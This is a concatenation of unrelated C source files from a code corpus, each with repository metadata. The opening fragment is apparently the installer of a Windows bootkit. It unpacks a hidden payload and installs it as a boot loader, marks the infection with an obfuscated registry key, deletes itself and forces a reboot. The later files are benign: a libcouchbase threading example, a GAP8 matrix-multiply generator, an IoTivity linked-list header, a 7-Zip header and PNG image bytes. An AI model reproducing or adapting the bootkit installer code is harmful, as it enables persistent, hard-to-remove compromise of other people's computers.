*pSize = AdDesc->ImageSize; Ret = TRUE; break; } else vFree(Unpacked); } // if (Unpacked = ExAllocatePool(PagedPool, PackedHeader->OriginalSize)) } // if (((AdDesc->Flags & PE_FLAG_X64) && Is64Bit) || (!(AdDesc->Flags & PE_FLAG_X64) && !Is64Bit)) AdDesc += 1; } // while (AdDesc->Magic == ADDON_MAGIC) return(Ret); } ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Allocates PE image from the buffer within the current process. // PCHAR AllocateImage( PCHAR ModuleBuffer, // Buffer containing image file PULONG pImageSize // ) { PVOID ImageBase = NULL; ULONG i, bSize, ImageSize = 0; PIMAGE_NT_HEADERS Pe = (PIMAGE_NT_HEADERS)PeSupGetImagePeHeader(ModuleBuffer); PIMAGE_SECTION_HEADER Section = IMAGE_FIRST_SECTION(Pe); ULONG NumberSections = Pe->FileHeader.NumberOfSections; ULONG FileAlign = PeSupGetOptionalField(Pe, FileAlignment); ImageSize = PeSupGetOptionalField(Pe, SizeOfImage); if (ImageBase = vAlloc(ImageSize)) { memset(ImageBase, 0, ImageSize); memcpy(ImageBase, ModuleBuffer, PeSupGetOptionalField(Pe, SizeOfHeaders)); // Copying sections for(i=0; i<NumberSections; i++) { bSize = PeSupAlign(Section->SizeOfRawData, FileAlign); if (bSize) RtlCopyMemory((PCHAR)ImageBase + Section->VirtualAddress, ModuleBuffer + Section->PointerToRawData, bSize); Section += 1; } *pImageSize = ImageSize; } // if (ImageBase = vAlloc(ImageSize)) return((PCHAR)ImageBase); } //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Enables SeShutdownPrivilege for the current process and attempts to reboot the system. // VOID Reboot(VOID) { BOOL OldValue; if (NT_SUCCESS(RtlAdjustPrivilege(SE_SHUTDOWN_PRIVILEGE, TRUE, FALSE, (PBOOLEAN)&OldValue))) ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0); } ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Allocates a buffer and generates pseudo-random program key name using system volume serial number as random seed. // PCHAR GetProgramKeyName(VOID) { PCHAR KeyName = NULL; PCHAR RootDir; ULONG VolumeSerial = 0; if (RootDir = vAlloc(PAGE_SIZE)) { if (GetWindowsDirectory(RootDir, PAGE_SIZE)) { PCHAR Slash = strchr(RootDir, '\\'); if (Slash) Slash[1] = 0; if (GetVolumeInformation(RootDir, NULL, 0, &VolumeSerial, NULL, NULL, NULL, 0)) KeyName = GuidName(&VolumeSerial, tczProgramKey); } // if (GetWindowsDirectory(RootDir, PAGE_SIZE)) vFree(RootDir); } // if (RootDir = vAlloc(PAGE_SIZE)) return(KeyName); } WINERROR SetupBk(BOOL IsExe) { WINERROR Status = ERROR_UNSUCCESSFULL; CHAR VersionHi; BOOL Elevated = TRUE; ULONG PayloadSize; PCHAR ProgramKeyName = NULL, Image, Payload = NULL; HKEY hKey; do // not a loop { // Generating pseudo-random program key name if (!(ProgramKeyName = GetProgramKeyName())) { DbgPrint("BKSETUP: Failed generating program key name.\n"); break; } // Checking if we were already installed if (RegOpenKey(HKEY_LOCAL_MACHINE, ProgramKeyName, &hKey) == NO_ERROR) { RegCloseKey(hKey); Status = ERROR_ALREADY_EXISTS; DbgPrint("BKSETUP: Already installed.\n"); break; } g_CurrentOsVersion = GetVersion(); VersionHi = LOBYTE(LOWORD(g_CurrentOsVersion)); // Checking if current OS supported if (VersionHi != 5) { Status = ERROR_OLD_WIN_VERSION; DbgPrint("BKSETUP: OS not supported.\n"); break; } // Unpacking joined module depending on current OS architecture if (!GetJoinedData(g_CurrentModuleBase, &Payload, &PayloadSize, IsWow64Process(g_CurrentProcessId))) { Status = ERROR_FILE_NOT_FOUND; DbgPrint("BKSETUP: No joined payload found.\n"); break; } if (Image = AllocateImage(Payload, &PayloadSize)) { vFree(Payload); Payload = Image; } // Installing the boot loader if (!BkSetupWithPayload(Payload, PayloadSize)) { DbgPrint("BKSETUP: Installation failed because of unknown reason.\n"); break; } // Creating program key to mark that we were installed if (RegCreateKey(HKEY_LOCAL_MACHINE, ProgramKeyName, &hKey) == NO_ERROR) RegCloseKey(hKey); Status = NO_ERROR; DbgPrint("BKSETUP: Successfully installed.\n"); } while(FALSE); if (Status == ERROR_UNSUCCESSFULL) Status = GetLastError(); if (Payload) vFree(Payload); if (ProgramKeyName) vFree(ProgramKeyName); if (IsExe) DoSelfDelete(); if (Status == NO_ERROR) { // One second timeout to let the Self Delete BAT-file initialize, then reboot. Sleep(1000); Reboot(); } return(Status); } /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // This is our application EntryPoint function. // WINERROR APIENTRY _tWinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow ) { WINERROR Status = NO_ERROR; DbgPrint("BKSETUP: Version: 1.0\n"); g_CurrentProcessId = GetCurrentProcessId(); DbgPrint("BKSETUP: Started as win32 process 0x%x.\n", g_CurrentProcessId); g_CurrentModuleBase = (PIMAGE_DOS_HEADER)GetModuleHandle(NULL); Status = SetupBk(TRUE); UNREFERENCED_PARAMETER(hPrevInstance); UNREFERENCED_PARAMETER(nCmdShow); UNREFERENCED_PARAMETER(lpCmdLine); UNREFERENCED_PARAMETER(hInstance); DbgPrint("BKSETUP: Process 0x%x finished with status %u.\n", g_CurrentProcessId, Status); return(Status); } /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // This is our application EntryPoint function to build it without CRT startup code. // INT _cdecl main(VOID) { WINERROR Status = NO_ERROR; DbgPrint("BKSETUP: Version: 1.0\n"); g_CurrentProcessId = GetCurrentProcessId(); DbgPrint("BKSETUP: Started as win32 process 0x%x\n", g_CurrentProcessId); g_CurrentModuleBase = (PIMAGE_DOS_HEADER)GetModuleHandle(NULL); Status = SetupBk(TRUE); DbgPrint("BKSETUP: Process 0x%x finished with status %u\n",g_CurrentProcessId, Status); ExitProcess(Status); return(Status); }
c766a96f83c29e476c33dc9d7df2b97fd3084846
227fe1226f59d6033e20ef456a1f8288091c5312
/example/threads-shared/threads-shared.c
e03ce63da86838dd325bc9fecc9fae2b484db382
[ "Apache-2.0", "LicenseRef-scancode-unknown-license-reference" ]
permissive
couchbase/libcouchbase
697ca0f621bff80e242fa1099be8d0160dd2bc55
6e411d412ba3f5039d21ea4195dca86b0f82134b
refs/heads/master
2023-08-30T23:38:38.586108
2023-08-16T13:39:57
2023-08-16T14:41:12
2,077,002
120
100
Apache-2.0
2022-09-19T12:29:14
2011-07-20T08:43:46
C
UTF-8
C
false
false
3,959
c
threads-shared.c
/* -*- Mode: C; tab-width: 4; c-basic-offset: 4; indent-tabs-mode: nil -*- */ /* * Copyright 2017-Present Couchbase, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include <unistd.h> #include <pthread.h> #include <string.h> #include <sys/types.h> #include <libcouchbase/couchbase.h> static void get_callback(const lcb_INSTANCE *instance, int cbtype, const lcb_RESPGET *resp) { lcb_STATUS rc = lcb_respget_status(resp); const char *key; size_t nkey; lcb_respget_key(resp, &key, &nkey); fprintf(stderr, "GET \"%.*s\", %s\n", (int)nkey, key, lcb_strerror_short(rc)); (void)instance; (void)cbtype; } typedef struct { lcb_INSTANCE *instance; pthread_mutex_t mutex; } my_CTX; /* * This function uses the same instance between threads. A lock is required for every operation */ static void *thread_func(void *arg) { my_CTX *ctx = arg; const char *key = "key"; lcb_CMDGET *cmd = NULL; lcb_cmdget_create(&cmd); lcb_cmdget_key(cmd, key, strlen(key)); // every operation, that requires modification of the instance should be protected by the mutex pthread_mutex_lock(&ctx->mutex); lcb_STATUS rc = lcb_get(ctx->instance, NULL, cmd); lcb_cmdget_destroy(cmd); if (rc != LCB_SUCCESS) { fprintf(stderr, "Could not schedule GET \"%.*s\", %s\n", (int)strlen(key), key, lcb_strerror_short(rc)); } else { lcb_wait(ctx->instance, LCB_WAIT_DEFAULT); } pthread_mutex_unlock(&ctx->mutex); return NULL; } /** * * This example demonstrates strategy, where single lcb_INSTANCE is shared between multiple threads. * * Key observations here: * * 1. less resources will be consumed by the library (memory, descriptors, etc) * 2. if the application does not have any other work to do, threads will compete for the connections, and * the bandwidth will be lower than expected. * * As with any multi-threaded application, it requires extra testing and analysis to meet all performance and * correctness requirements. * * See threads-private.c for the alternative approach. * */ int main(int argc, const char *argv[]) { #define number_of_threads 10 const char *connection_string = (argc > 1) ? argv[1] : "couchbase://127.0.0.1/default"; const char *username = (argc > 2) ? argv[2] : "Administrator"; const char *password = (argc > 3) ? argv[3] : "password"; pthread_t thrs[number_of_threads]; my_CTX ctx; // initialize mutex that will protect the shared instance pthread_mutex_init(&ctx.mutex, NULL); // create and connect shared instance of the connection lcb_CREATEOPTS *options = NULL; lcb_createopts_create(&options, LCB_TYPE_BUCKET); lcb_createopts_connstr(options, connection_string, strlen(connection_string)); lcb_createopts_credentials(options, username, strlen(username), password, strlen(password)); lcb_create(&ctx.instance, options); lcb_connect(ctx.instance); lcb_wait(ctx.instance, LCB_WAIT_DEFAULT); lcb_install_callback(ctx.instance, LCB_CALLBACK_GET, (lcb_RESPCALLBACK)get_callback); for (int ii = 0; ii < number_of_threads; ii++) { // path shared context to each of the threads pthread_create(&thrs[ii], NULL, thread_func, &ctx); } for (int ii = 0; ii < number_of_threads; ii++) { void *ign; pthread_join(thrs[ii], &ign); } lcb_destroy(ctx.instance); return 0; }
90e77a36ff97587c70aacaa960c220a2b6f08121
c6759b857e55991fea3ef0b465dbcee53fa38714
/examples/gap8/dsp/MatMulNew/MatMulModel.c
a9d566588a68d81179d3e4be3871eaaa83909282
[ "Apache-2.0" ]
permissive
GreenWaves-Technologies/gap_sdk
1b343bba97b7a5ce62a24162bd72eef5cc67e269
3fea306d52ee33f923f2423c5a75d9eb1c07e904
refs/heads/master
2023-09-01T14:38:34.270427
2023-08-10T09:04:44
2023-08-10T09:04:44
133,324,605
145
96
Apache-2.0
2023-08-27T19:03:52
2018-05-14T07:50:29
C
UTF-8
C
false
false
1,003
c
MatMulModel.c
#include "AutoTilerLib.h" #include "AutoTilerLibTypes.h" #include "DSP_Generators.h" void MatMulConfiguration(unsigned int L1Memory) { SetInlineMode(ALWAYS_INLINE); SetSymbolDynamics(); SetUsedFilesNames(0, 1, "DSP_Lib.h"); SetGeneratedFilesNames("MatMulKernels.c", "MatMulKernels.h"); SetL1MemorySize(L1Memory); } int main(int argc, char **argv) { if (TilerParseOptions(argc, argv)) GenTilingError("Failed to initialize or incorrect output arguments directory.\n"); // Set Auto Tiler configuration, given shared L1 memory is 51200 MatMulConfiguration(112*1024); // Load FIR basic kernels LoadMFCCLibrary(); // Generate code for MatMul applied to 49 of size FRAME_SIZE with FRAME_STEP as stride DSP_MatMul_Generator("MatMul_Fix16", 0, W_M1, H_M1, W_M2, W_M1, 0, FIX16); DSP_MatMul_Generator("MatMul_fp16" , 0, W_M1, H_M1, W_M2, W_M1, 0, FLOAT16); DSP_MatMul_Generator("MatMul_fp32" , 0, W_M1, H_M1, W_M2, W_M1, 0, FLOAT32); GenerateTilingCode(); }
dc7d74ec18267c62a9b4f80c3ac054107dd728cb
0744dcc5394cebf57ebcba343747af6871b67017
/external/iotivity/iotivity_1.2-rel/resource/csdk/connectivity/common/inc/ulinklist.h
7846d2402d0bb171c1ea713a89d991afb475dee1
[ "Apache-2.0", "GPL-2.0-only", "MIT", "BSD-3-Clause" ]
permissive
Samsung/TizenRT
96abf62f1853f61fcf91ff14671a5e0c6ca48fdb
1a5c2e00a4b1bbf4c505bbf5cc6a8259e926f686
refs/heads/master
2023-08-31T08:59:33.327998
2023-08-08T06:09:20
2023-08-31T04:38:20
82,517,252
590
719
Apache-2.0
2023-09-14T06:54:49
2017-02-20T04:38:30
C
UTF-8
C
false
false
3,933
h
ulinklist.h
/* **************************************************************** * * Copyright 2015 Samsung Electronics All Rights Reserved. * * * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * ******************************************************************/ #ifndef U_LINKLIST_H_ #define U_LINKLIST_H_ /** * @todo Do performance comparision with array list. */ #include <stdint.h> #include "cacommon.h" #ifdef __cplusplus extern "C" { #endif #ifndef OICDEFINE #include <stdbool.h> #endif /** * link list structure */ typedef struct linked_list_data u_linklist_data_t; typedef struct linked_list_data u_linklist_iterator_t; typedef struct u_linklist { u_linklist_data_t *list; int size; }u_linklist_t; struct linked_list_data { void *data; u_linklist_data_t *next; }; /** * API to create link list and initializes the elements. * @return u_linklist_t if Success, NULL otherwise. */ u_linklist_t *u_linklist_create(); /** * Resets and deletes the link list * Linklist elements are deleted, Calling function must take care of freeing * dynamic memory allocated before freeing the linklist. * @param[in,out] list u_linklist pointer. * @return ::CA_STATUS_OK if Success, ::CA_STATUS_INVALID_PARAM if pointer to list is NULL. */ CAResult_t u_linklist_free(u_linklist_t **list); /** * Add data to the head of the link list. * @param[in/out] list pointer of link list. * @param[in] data pointer of data. * @return ::CA_STATUS_OK if Success, ::CA_MEMORY_ALLOC_FAILED if memory allocation fails. */ CAResult_t u_linklist_add_head(u_linklist_t *list, void *data); /** * Add data to the tail of the link list. * @param[in/out] list pointer of link list. * @param[in] data pointer of data. * @return ::CA_STATUS_OK if Success, ::CA_MEMORY_ALLOC_FAILED if memory allocation fails. */ CAResult_t u_linklist_add(u_linklist_t *list, void *data); /** * This api deletes node pointed by iterator. * Advances iterator to next node in the list. * @param[in/out] list pointer of link list. * @param[in/out] iter pointer of iterator pointing to previous node. * @return ::CA_STATUS_OK if Success, ::CA_STATUS_INVALID_PARAM if iterator is NULL. */ CAResult_t u_linklist_remove(u_linklist_t *list, u_linklist_iterator_t **iter); /** * Returns the length of the link list. * @param[in] list pointer of link list. * @return length of the link list. */ uint32_t u_linklist_length(const u_linklist_t *list); /** * Initializes the iterator, need to be called before calling u_linklist_get_next. * @param[in] list pointer of link list. * @param[in,out] iter iterator of link list. * @return NONE */ void u_linklist_init_iterator(const u_linklist_t *list, u_linklist_iterator_t **iter); /** * Returns the data of the node iterator points to from the link list. * @param[in] iter iterator of link list. * @return the data of node to which iterator is pointing. */ void *u_linklist_get_data(const u_linklist_iterator_t *iter); /** * Returns the data of the next node iterator points to from the link list * Advances iterator to next node in the list. * @param[in,out] iter iterator of link list. * @return the data of next node. */ void *u_linklist_get_next(u_linklist_iterator_t **iter); #ifdef __cplusplus } #endif #endif /* U_LINKLIST_H_ */
3679dbeff8306b57c974f38fa7ef3c6aa6d0325f
e881a80473c7798ff8e2722da7f173ae332c9e3a
/7zip/CPP/7zip/Common/RegisterArc.h
3421ba1b164b1a650db652e95229cca98a2a2aef
[ "ISC", "Apache-2.0", "LGPL-2.0-or-later", "MIT", "LicenseRef-scancode-unknown-license-reference" ]
permissive
unknownbrackets/maxcso
4a69151a7b9325b3f24033862113275e2e3c3fc2
e4bdee13ffa8959a2ba052bf5b2f53e0455f8994
refs/heads/master
2023-06-14T07:44:37.357559
2023-06-04T05:26:06
2023-06-04T05:26:06
25,741,910
333
35
ISC
2023-06-04T05:26:07
2014-10-25T18:33:44
C
UTF-8
C
false
false
2,542
h
RegisterArc.h
// RegisterArc.h #ifndef __REGISTER_ARC_H #define __REGISTER_ARC_H #include "../Archive/IArchive.h" struct CArcInfo { UInt16 Flags; Byte Id; Byte SignatureSize; UInt16 SignatureOffset; const Byte *Signature; const char *Name; const char *Ext; const char *AddExt; Func_CreateInArchive CreateInArchive; Func_CreateOutArchive CreateOutArchive; Func_IsArc IsArc; bool IsMultiSignature() const { return (Flags & NArcInfoFlags::kMultiSignature) != 0; } }; void RegisterArc(const CArcInfo *arcInfo) throw(); #define IMP_CreateArcIn_2(c) \ static IInArchive *CreateArc() { return new c; } #define IMP_CreateArcIn IMP_CreateArcIn_2(CHandler()) #ifdef EXTRACT_ONLY #define IMP_CreateArcOut #define CreateArcOut NULL #else #define IMP_CreateArcOut static IOutArchive *CreateArcOut() { return new CHandler(); } #endif #define REGISTER_ARC_V(n, e, ae, id, sigSize, sig, offs, flags, crIn, crOut, isArc) \ static const CArcInfo g_ArcInfo = { flags, id, sigSize, offs, sig, n, e, ae, crIn, crOut, isArc } ; \ #define REGISTER_ARC_R(n, e, ae, id, sigSize, sig, offs, flags, crIn, crOut, isArc) \ REGISTER_ARC_V(n, e, ae, id, sigSize, sig, offs, flags, crIn, crOut, isArc) \ struct CRegisterArc { CRegisterArc() { RegisterArc(&g_ArcInfo); }}; \ static CRegisterArc g_RegisterArc; #define REGISTER_ARC_I_CLS(cls, n, e, ae, id, sig, offs, flags, isArc) \ IMP_CreateArcIn_2(cls) \ REGISTER_ARC_R(n, e, ae, id, ARRAY_SIZE(sig), sig, offs, flags, CreateArc, NULL, isArc) #define REGISTER_ARC_I_CLS_NO_SIG(cls, n, e, ae, id, offs, flags, isArc) \ IMP_CreateArcIn_2(cls) \ REGISTER_ARC_R(n, e, ae, id, 0, NULL, offs, flags, CreateArc, NULL, isArc) #define REGISTER_ARC_I(n, e, ae, id, sig, offs, flags, isArc) \ REGISTER_ARC_I_CLS(CHandler(), n, e, ae, id, sig, offs, flags, isArc) #define REGISTER_ARC_I_NO_SIG(n, e, ae, id, offs, flags, isArc) \ REGISTER_ARC_I_CLS_NO_SIG(CHandler(), n, e, ae, id, offs, flags, isArc) #define REGISTER_ARC_IO(n, e, ae, id, sig, offs, flags, isArc) \ IMP_CreateArcIn \ IMP_CreateArcOut \ REGISTER_ARC_R(n, e, ae, id, ARRAY_SIZE(sig), sig, offs, flags, CreateArc, CreateArcOut, isArc) #define REGISTER_ARC_IO_DECREMENT_SIG(n, e, ae, id, sig, offs, flags, isArc) \ IMP_CreateArcIn \ IMP_CreateArcOut \ REGISTER_ARC_V(n, e, ae, id, ARRAY_SIZE(sig), sig, offs, flags, CreateArc, CreateArcOut, isArc) \ struct CRegisterArcDecSig { CRegisterArcDecSig() { sig[0]--; RegisterArc(&g_ArcInfo); }}; \ static CRegisterArcDecSig g_RegisterArc; #endif
19bb5e61a83806c00188f1911de374a4e2450ae1
5e4c0bdc2a28c0daf27cd208a4055e9b6e445a12
/testsuite/label-png.h
e54a558d477b278a501d9e948f4ab174618796fb
[ "LicenseRef-scancode-generic-exception", "Apache-2.0", "GPL-2.0-only", "LGPL-2.0-only" ]
permissive
michaelrsweet/pappl
c332313616020d7b5b9f96b6cedffc73a35b3223
793b41adbc38e0bd74c06fbf52568e4eac4957be
refs/heads/master
2023-08-29T00:56:45.739440
2023-08-02T13:26:32
2023-08-02T13:26:32
243,025,018
319
46
Apache-2.0
2023-09-05T07:56:12
2020-02-25T14:50:23
C
UTF-8
C
false
false
174,121
h
label-png.h
/* label-lg.png */ static unsigned char label_lg_png[] = { 137,80,78,71,13,10,26,10,0,0,0,13,73,72,68,82, 0,0,2,0,0,0,2,0,8,4,0,0,0,94,113,28, 113,0,0,4,25,105,67,67,80,107,67,71,67,111,108,111, 114,83,112,97,99,101,71,101,110,101,114,105,99,82,71,66, 0,0,56,141,141,85,93,104,28,85,20,62,187,115,103,35, 36,206,83,108,52,133,116,168,63,13,37,13,147,86,52,161, 180,186,127,221,221,54,110,150,73,54,218,34,232,100,246,238, 206,152,201,206,56,51,187,253,161,79,69,80,124,49,234,155, 20,196,191,183,128,32,40,245,15,219,62,180,47,149,10,37, 218,212,32,40,62,180,248,131,80,232,139,166,235,153,59,51, 153,105,186,177,222,101,238,124,243,157,239,158,123,238,185,103, 239,5,232,185,170,88,150,145,20,1,22,154,174,45,23,50, 226,115,135,143,136,61,43,144,132,135,160,23,6,161,87,81, 29,43,93,169,76,2,54,79,11,119,181,91,223,67,194,123, 95,217,213,221,254,159,173,183,70,29,21,32,113,31,98,179, 230,168,11,136,143,1,240,167,85,203,118,1,122,250,145,31, 63,234,90,30,246,98,232,183,49,64,196,47,122,184,225,99, 215,195,115,62,126,141,105,102,228,44,226,211,136,5,85,83, 106,136,151,16,143,204,197,248,70,12,251,49,176,214,95,160, 77,106,235,170,232,229,162,98,155,117,221,160,177,112,239,97, 254,159,109,193,104,133,243,109,195,167,207,153,159,62,132,239, 97,92,251,43,53,37,231,225,81,196,75,170,146,159,70,252, 8,226,107,109,125,182,28,224,219,150,155,145,17,63,6,144, 220,222,154,175,166,17,239,68,92,172,219,7,170,190,159,164, 173,181,138,33,126,231,132,54,243,44,226,45,136,207,55,231, 202,83,193,216,171,170,147,197,156,193,118,196,183,53,90,242, 242,59,4,192,137,186,91,154,241,199,114,251,109,83,158,242, 231,229,234,53,154,203,123,121,68,252,250,188,121,72,246,125, 114,159,57,237,233,124,232,243,132,150,45,7,252,165,151,148, 131,21,196,131,136,127,161,70,65,246,231,226,254,177,220,74, 16,3,25,106,26,229,73,127,46,146,163,14,91,47,227,93, 109,166,232,207,75,12,23,55,212,31,75,22,235,250,129,82, 160,255,68,179,139,114,128,175,89,6,171,81,140,141,79,218, 45,185,234,235,249,81,197,206,23,124,159,124,133,54,171,129, 127,190,13,179,9,5,40,152,48,135,189,10,77,88,3,17, 100,40,64,6,223,22,216,104,169,131,14,6,50,20,173,20, 25,138,95,161,102,23,27,231,192,60,242,58,180,153,205,193, 190,194,148,254,200,200,95,131,249,184,206,180,42,100,135,62, 130,22,178,26,252,142,172,22,211,101,241,171,133,92,99,19, 63,126,44,55,2,63,38,25,32,18,217,131,207,94,50,73, 246,145,113,50,1,34,121,138,60,77,246,147,28,178,19,100, 239,250,216,74,108,69,94,60,55,214,253,188,140,51,82,166, 155,69,221,57,180,187,160,96,255,51,42,76,92,83,215,172, 44,14,182,134,35,203,41,251,5,93,189,252,198,95,177,92, 233,44,55,81,182,226,25,157,186,87,206,249,95,249,235,252, 50,246,43,252,106,164,224,127,228,87,241,183,114,199,90,204, 187,178,76,195,236,108,88,115,119,85,26,109,6,227,22,240, 209,153,197,137,197,29,243,113,241,228,87,15,70,126,150,201, 153,231,175,244,93,60,89,111,46,14,70,172,151,5,250,106, 249,86,25,78,141,68,172,244,131,244,135,180,44,189,39,125, 40,253,198,189,205,125,202,125,205,125,206,125,193,93,2,145, 59,203,157,227,190,225,46,112,31,115,95,198,246,106,243,26, 90,223,123,22,121,24,183,103,233,150,107,172,74,33,35,108, 21,30,22,114,194,54,225,81,97,50,242,39,12,8,99,66, 81,216,129,150,173,235,251,22,159,47,158,61,29,14,99,31, 230,167,251,92,190,46,86,1,137,251,177,2,244,77,254,85, 85,84,233,112,148,41,29,86,111,77,56,190,65,19,140,36, 67,100,140,148,54,84,247,184,87,243,161,34,149,79,229,82, 105,16,83,59,83,19,169,177,212,65,15,135,179,166,118,160, 109,2,251,252,29,213,169,110,178,82,234,210,99,222,125,2, 89,211,58,110,235,13,205,21,119,75,210,147,98,26,175,54, 42,150,154,234,232,136,168,24,134,200,76,142,104,83,135,218, 109,90,27,5,239,222,244,143,244,155,50,187,15,19,91,46, 71,156,251,12,192,190,63,241,236,251,46,226,142,180,0,150, 28,128,129,199,35,110,24,207,202,7,222,5,56,243,132,218, 178,219,193,29,145,72,124,11,224,212,247,236,246,191,250,50, 120,126,253,212,233,220,196,115,172,231,45,128,181,55,59,157, 191,223,239,116,214,62,64,255,171,0,103,141,127,1,160,159, 124,85,3,92,11,239,0,0,0,56,101,88,73,102,77,77, 0,42,0,0,0,8,0,1,135,105,0,4,0,0,0,1, 0,0,0,26,0,0,0,0,0,2,160,2,0,4,0,0, 0,1,0,0,2,0,160,3,0,4,0,0,0,1,0,0, 2,0,0,0,0,0,40,48,151,191,0,0,3,99,105,84, 88,116,88,77,76,58,99,111,109,46,97,100,111,98,101,46, 120,109,112,0,0,0,0,0,60,120,58,120,109,112,109,101, 116,97,32,120,109,108,110,115,58,120,61,34,97,100,111,98, 101,58,110,115,58,109,101,116,97,47,34,32,120,58,120,109, 112,116,107,61,34,88,77,80,32,67,111,114,101,32,53,46, 52,46,48,34,62,10,32,32,32,60,114,100,102,58,82,68, 70,32,120,109,108,110,115,58,114,100,102,61,34,104,116,116, 112,58,47,47,119,119,119,46,119,51,46,111,114,103,47,49, 57,57,57,47,48,50,47,50,50,45,114,100,102,45,115,121, 110,116,97,120,45,110,115,35,34,62,10,32,32,32,32,32, 32,60,114,100,102,58,68,101,115,99,114,105,112,116,105,111, 110,32,114,100,102,58,97,98,111,117,116,61,34,34,10,32, 32,32,32,32,32,32,32,32,32,32,32,120,109,108,110,115, 58,100,99,61,34,104,116,116,112,58,47,47,112,117,114,108, 46,111,114,103,47,100,99,47,101,108,101,109,101,110,116,115, 47,49,46,49,47,34,10,32,32,32,32,32,32,32,32,32, 32,32,32,120,109,108,110,115,58,73,112,116,99,52,120,109, 112,69,120,116,61,34,104,116,116,112,58,47,47,105,112,116, 99,46,111,114,103,47,115,116,100,47,73,112,116,99,52,120, 109,112,69,120,116,47,50,48,48,56,45,48,50,45,50,57, 47,34,10,32,32,32,32,32,32,32,32,32,32,32,32,120, 109,108,110,115,58,112,104,111,116,111,115,104,111,112,61,34, 104,116,116,112,58,47,47,110,115,46,97,100,111,98,101,46, 99,111,109,47,112,104,111,116,111,115,104,111,112,47,49,46, 48,47,34,62,10,32,32,32,32,32,32,32,32,32,60,100, 99,58,99,114,101,97,116,111,114,62,10,32,32,32,32,32, 32,32,32,32,32,32,32,60,114,100,102,58,83,101,113,62, 10,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32, 60,114,100,102,58,108,105,62,77,105,99,104,97,101,108,32, 83,119,101,101,116,60,47,114,100,102,58,108,105,62,10,32, 32,32,32,32,32,32,32,32,32,32,32,60,47,114,100,102, 58,83,101,113,62,10,32,32,32,32,32,32,32,32,32,60, 47,100,99,58,99,114,101,97,116,111,114,62,10,32,32,32, 32,32,32,32,32,32,60,100,99,58,114,105,103,104,116,115, 62,10,32,32,32,32,32,32,32,32,32,32,32,32,60,114, 100,102,58,65,108,116,62,10,32,32,32,32,32,32,32,32, 32,32,32,32,32,32,32,60,114,100,102,58,108,105,32,120, 109,108,58,108,97,110,103,61,34,120,45,100,101,102,97,117, 108,116,34,62,67,111,112,121,114,105,103,104,116,32,50,48, 49,57,32,77,105,99,104,97,101,108,32,83,119,101,101,116, 60,47,114,100,102,58,108,105,62,10,32,32,32,32,32,32, 32,32,32,32,32,32,60,47,114,100,102,58,65,108,116,62, 10,32,32,32,32,32,32,32,32,32,60,47,100,99,58,114, 105,103,104,116,115,62,10,32,32,32,32,32,32,32,32,32, 60,73,112,116,99,52,120,109,112,69,120,116,58,72,101,97, 100,108,105,110,101,62,78,101,119,32,73,99,111,110,60,47, 73,112,116,99,52,120,109,112,69,120,116,58,72,101,97,100, 108,105,110,101,62,10,32,32,32,32,32,32,32,32,32,60, 112,104,111,116,111,115,104,111,112,58,72,101,97,100,108,105, 110,101,62,78,101,119,32,73,99,111,110,60,47,112,104,111, 116,111,115,104,111,112,58,72,101,97,100,108,105,110,101,62, 10,32,32,32,32,32,32,60,47,114,100,102,58,68,101,115, 99,114,105,112,116,105,111,110,62,10,32,32,32,60,47,114, 100,102,58,82,68,70,62,10,60,47,120,58,120,109,112,109, 101,116,97,62,10,221,242,56,27,0,0,136,242,73,68,65, 84,120,218,236,189,105,152,28,197,149,46,252,70,86,117,183, 122,213,46,33,196,34,1,66,18,8,12,24,240,138,61,198, 120,199,44,234,70,120,27,207,238,103,54,143,239,60,119,190, 59,51,159,231,218,247,142,237,241,246,217,30,251,218,227,229, 122,240,12,94,198,136,110,36,36,192,160,21,16,2,1,98, 19,59,18,8,132,214,214,174,222,107,201,243,253,168,45,35, 226,68,102,86,85,102,117,117,87,4,143,161,93,167,59,35, 43,50,207,137,179,189,111,0,118,216,97,135,29,118,216,97, 135,29,118,216,97,135,29,118,216,97,135,29,118,216,97,135, 29,118,216,97,135,29,118,216,97,135,29,118,216,97,135,29, 118,216,97,135,29,118,216,97,135,29,118,216,97,135,29,118, 216,97,135,29,118,216,97,135,29,118,216,97,135,29,118,216, 97,135,29,118,216,97,135,29,118,216,97,135,29,118,216,97, 135,29,118,216,97,135,29,118,216,97,135,29,118,216,97,71, 77,135,176,75,208,64,207,148,236,226,216,33,143,164,93,130, 73,168,248,193,102,221,154,2,59,172,7,48,9,159,163,40, 254,44,12,74,79,30,245,183,102,192,122,0,118,9,38,137, 250,203,255,83,141,128,172,252,36,41,191,53,3,118,231,176, 99,130,63,193,130,218,139,188,242,11,143,47,0,143,242,23, 254,205,153,2,107,8,172,1,176,99,130,170,191,252,143,35, 249,1,5,245,46,41,63,121,140,128,53,3,246,5,178,99, 194,187,254,5,181,247,254,79,55,0,165,127,92,197,8,144, 20,38,88,51,96,13,128,29,19,72,253,75,106,95,248,71, 180,53,15,103,61,38,64,85,126,87,49,8,124,88,96,205, 128,53,0,118,212,185,250,59,249,221,223,129,131,4,156,142, 38,231,3,180,28,87,97,182,120,197,189,71,108,74,63,55, 90,218,231,221,226,255,74,70,192,181,97,129,53,0,118,76, 100,245,119,32,144,128,131,4,18,93,31,197,255,166,133,148, 23,18,0,113,68,220,75,155,199,30,79,141,122,20,191,240, 15,25,13,129,53,3,214,0,216,49,65,212,63,183,247,39, 144,232,248,107,241,101,210,30,41,65,128,70,157,205,180,41, 243,240,200,49,143,250,7,25,2,72,255,182,97,129,53,0, 